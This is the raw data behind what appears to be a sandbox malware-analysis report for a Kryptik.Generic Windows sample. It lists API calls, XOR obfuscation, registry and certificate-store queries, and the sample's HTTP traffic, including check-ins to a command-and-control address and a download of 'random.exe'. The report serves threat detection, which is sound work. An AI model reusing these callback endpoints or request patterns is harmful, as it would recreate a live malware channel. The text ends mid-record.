26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4a3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Kryptik.Generic Sample 2e90e00abbd4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2e90e00abbd4…. Malware family: Kryptik.Generic. Threat score 100/100. 13/25 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001","keywords":["Malicious","Kryptik.Generic","malware analysis","sandbox report","threat intelligence","2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001"],"about":{"@type":"SoftwareApplication","name":"ffa05200d7a741017eb476eef981b041.exe","applicationCategory":["peexe","executable"],"identifier":"2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Kryptik.Generic","antivirusDetections":{"malicious":13,"total":25},"behavioralIndicators":{"malicious":7,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T68c,"ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '49171992'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1972109312', 'hResInfo': '15468016'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '1997049888'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '49174696'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '49174712'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '49174744'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '49177848'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '49177768'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '49177832'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '1997049200'}" (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadResource with parameter {'hModule': '1992949760', 'hResInfo': '1997092448'}" (UID: 00000000-00000560)28:T5e4,Assembly shows XOR instruction xor edx dword ptr [0014D854h] in Stream UID: 00000000-00000516-19212-2149-0010F8DB Assembly shows XOR instruction xor eax dword ptr [0014D7DCh] in Stream UID: 00000000-00000516-19212-2190-0010F84B Assembly shows XOR instruction xor edi 7E439DFEh in Stream UID: 00000000-00000516-19212-1349-0010FF9D Assembly shows XOR instruction xor edx 8A9064FFh in Stream UID: 00000000-00000516-19212-1349-0010FF9D Assembly shows XOR instruction xor ebx 8312FCE7h in Stream UID: 00000000-00000516-19212-1038-00110120 Assembly shows XOR instruction xor ebx esi in Stream UID: 00000000-00000516-19212-1038-00110120 Assembly shows XOR instruction xor esi 000000F6h in Stream UID: 00000000-00000516-19212-1038-00110120 Assembly shows XOR instruction xor ecx dword ptr [0014D9B4h] in Stream UID: 00000000-00000516-19212-1038-00110120 Assembly shows XOR instruction xor edx dword ptr [0014D808h] in Stream UID: 00000000-00000516-19212-2191-0010F96E Assembly shows XOR instruction xor edx 13FAB1F3h in Stream UID: 00000000-00000516-19212-1065-0010EA30 Assembly shows XOR instruction xor edx ebx in Stream UID: 00000000-00000516-19212-1066-0010E7F0 Assembly shows XOR instruction xor ecx 01h in Stream UID: 00000000-00000516-19212-1066-0010E7F0 Assembly shows XOR instruction xor ecx dword ptr [0014D8A4h] in Stream UID: 00000000-00000516-19212-1044-0010F9F0 Assembly shows XOR instruction xor edx dword ptr [0014D7C4h] in Stream UID: 00000000-00000516-19212-1048-0010F7F029:Ta5c,Contains base64 string in header "POST" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 164Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 164Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 164Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 164Cache-Control: no-cache" Contains base64 string in header "164Cache" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 164Cache-Control: no-cache" Contains base64 string in header "/files/bonus" in header "GET /files/bonus_max/random.exe HTTP/1.1" Contains base64 string in header "POST" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cache"2a:T333e,"ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000e52be077c4fc42004558e477917b0c00feffffffa4fb42000a7ac8760200000025e0df7720fc420011c8c676340000c029ddef7d29dd000005d310011800000000000000f8fb42004000000000000000e4fb4200000000000000000000000000000000000c00000002000000010142000e40e475000000000000960040fc98001c44d36929ddef7d29005a000600000028ef9800000000000000000088f998000100000038fc980040fc4200a3e0df77ffffffff0be9f700000000009c0cef75 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000a8f24200def5df772546917700000000287098000000e37418001a00d8000000e0000000e000e37411000000a812b9000000b900a814b9004558e477f17b0c00feffffff000000002f00000010f34200110000000000b900a812b90010f34200e733e0771634e07729479177020000000c02b9000000b9005001b90000020000000000005001b900b4f44200fceee0776cf242002f0000000003e0775001b9001413e3743826b9000000000040000000b8f60000110000000000000000000000e0299600a8f242000000000040000040c400b900440000447665437269746963 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a1fdde773c3dc67600000000683dc6769844d3690be9f700000000009c0cef75 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180000003b993469c386b273c1f7c8933e00e375c9e3f700000000009c0cef75 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000e0000000e00091720000000050f44c0564f54c05b0f74c054558e477f17b0c00feffffffdef5df77ef47e07701000000000091720000000000000000a8f44c05e0f64c058800e17701000000d4f44c0500000000a87998000ce4df7771419f72f46e9b72ac01960000009600fceee077dcf44c051c007f001a0600004d419f72d8139172d4f54c05000000001d0057001a060000d81391725c005700f88296000ce4df77200000000200000000000000a05f9800e87f960008819600e8f99a00b084960000000000f8f54c05f0e4040488f54c0580f4677684f74c0501000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000a87a98000000ab7318001a00d8000000e0000000e000ab7300000000c0ef4c05d4f04c0520f34c054558e477f17b0c00feffffffdef5df77ef47e077010000000000ab7300000000000000000ce4df77a5449f720ce4df779d449f72e055ad73ac0196000000960013009d0001000000000000000000000017008900010000001400980001000000d803e077dd449f72f882960044f14c05f88296000000dd7720000000809c9b0000000000809c9b00e87f960008819600e8f79d00b08496000000b90020f04c054558e47714f24c054558e4770000000068f14c0578e50404 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ce4df77e95b9f721c449a00ac0196000000960000000000000000001200a200070000000000000000000000000000000000000013009d00070000000000000000000000f88296000ce4df7721449f722c75ad73ac01960000009600e87f9600088196001100a70007000000000000004cef4c051c00f50014f24c051200a2000700000014f24c054558e477f8829600feffffff200000006527e17700000000809c9b00e87f96000881960038f89d00 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000b9000000000089f467764fbe3a6c02000000c4eb4c05c0eb4c050000000068d80404480003049801030410e7040414eb4c05c83a717688eb4c05d58c6976c4eb4c0558eb4c0542a46776a802717698eb4c05d2f46776080000006ef5677644f5677687be3a6c02000000341aa77300004d055b51a7736ceb4c05000000004411aa7370c79e004411aa730000000070c79e00dceb4c05fd3fe077d820ed7701000000000000000000a773341aa77300004d055b51a77314e7040410e70404aceb4c05eceb4c056cec4c0591e1a97351afef29f0eb4c05e242e0774411aa7300000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000e091a00068d54200b344b17381d0d476000000000000000000000000000000000000000000000000980200000000000000000000000000005ee0ad6133b0346924da42005ecbd2769802000000000000005dd07680dc42000e5dd07618d84200dcaad476010000000000000072000000ffffffffffffffffa0d54200780200000000000025000000a0d542007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360096e0ad61f8d542006d82877594979f0004010000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000340031003000310037006500620034003700360065006500660039003800310062003000340031002e0065007800650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009cc04200000000000ce4df77a5749177d8ebdb75ac019600000096002600cf00210500000000ffff803aa00000000000000000002700d400210500000000ffff803aa0000000000000000000f88296000000000020000000009e9b00 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036000afbad6164ce42006d828775b424a10004010000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000063933a6c (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000db943a6c0000000084f64c0584f64c0550b2ac7497b2ac74183cf5b600000000b0f74c050100000001000000b0f64c0554f64c050000000070f74c05eed4a274ec9316c7feffffff97b2ac742bb3ac74000000000010000000000100fffffe7f03000000040000004a020000000001000600004f940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c47b07448f8a0008c47b074 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000006051a30044db4200746f1276bc7621766051a300e0df42007944d4766051a3008cf9d37648f8d3769044d47654e342000100000000000000c3979f00e44fa300000000006051a300b82d9e000409d476000000000000000000000000000000000000000000000000000000000000000000000000000000000ce4df77096891772f000000bc019600000096007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036004ee9ad6120dc42006d828775cc4fa30004010000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600e2e5ad61ccd042006d8287751c2aa10004010000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600c6ffad61a8ca42006d8287755ccba30004010000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600c6ffad61a8ca42006d82877534f1a40004010000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000004200570053005c0056006900640065006f0073005c006400650073006b0074006f0070002e0069006e00690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600c6ffad61a8ca42006d82877534faa40004010000 (UID: 00000000-00000560)2b:T10b0,"ffa05200d7a741017eb476eef981b041.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077faf8de779b9d8d750000000000000000000000001a01de7708f64c0500000000a4f64c0502000000b29e8d75e19e8d7514f64c052e0030009c1b967214f64c050000000038f64c05961b96729c1b967267c16776f06e9b7254f64c05b2169672f06e9b720000000084f74c0500000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000efefab737e65da0f0200000044c7ab7300004d05aecaab73ace5040478e5040454f14c050000000014f24c0544d6ac73067b3d79feffffffefefab736defab73aecaab73a8f14c0590e8ab73aecaab7367c167762875ad73c4f14c05c2c6ab732875ad7300000000f4f24c0500000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebdb7588cd9e0000e0fd7ed30fe17700d0fd7e5cc1420044e0fd7e00000000400000003f0000002800000000e0fd7e50c14200fa0fe1775042ed772800000000e0fd7ed30fe17700d0fd7e74c14200b883e0770021ed779446c676d8ebdb75 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c47b07448f8a0008c47b0740000000048f8a00030f74c05fd3fe077d820ed7700000000b0f74c05000000000000000070f74c054558e477c17c0c00feffffff4de7e1776056c67602100000000000000000010044f74c05e242e0778c47b0740000000000000000 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000560) "skotes.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000078af720064fa3d00e733e0771634e07730fb3d00010000009401700001000000e4f93d00b416e177c020ed779a16e1771509ee7730fb3d000100000001000000d8c2720000000000b4f93d00e4f93d0050fa3d004558e477214b0c00feffffff9a16e177a519c6760000c77500000000 (UID: 00000000-00002756) "skotes.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002756) "skotes.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002756) "skotes.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebdb752072780000e0fd7ed30fe17700e0f57e4cc59e0544e0fd7e00000000400000003f0000002400000000e0fd7e40c59e05fa0fe1775042ed772400000000e0fd7ed30fe17700e0f57e64c59e05b883e0770021ed779446c676d8ebdb75 (UID: 00000000-00002756) "5b5767e85f.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000516)2c:T7ad,"skotes.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")2d:T8c4,"5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "5b5767e85f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")2e:T55e,"5b5767e85f.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "5b5767e85f.exe" (Path: 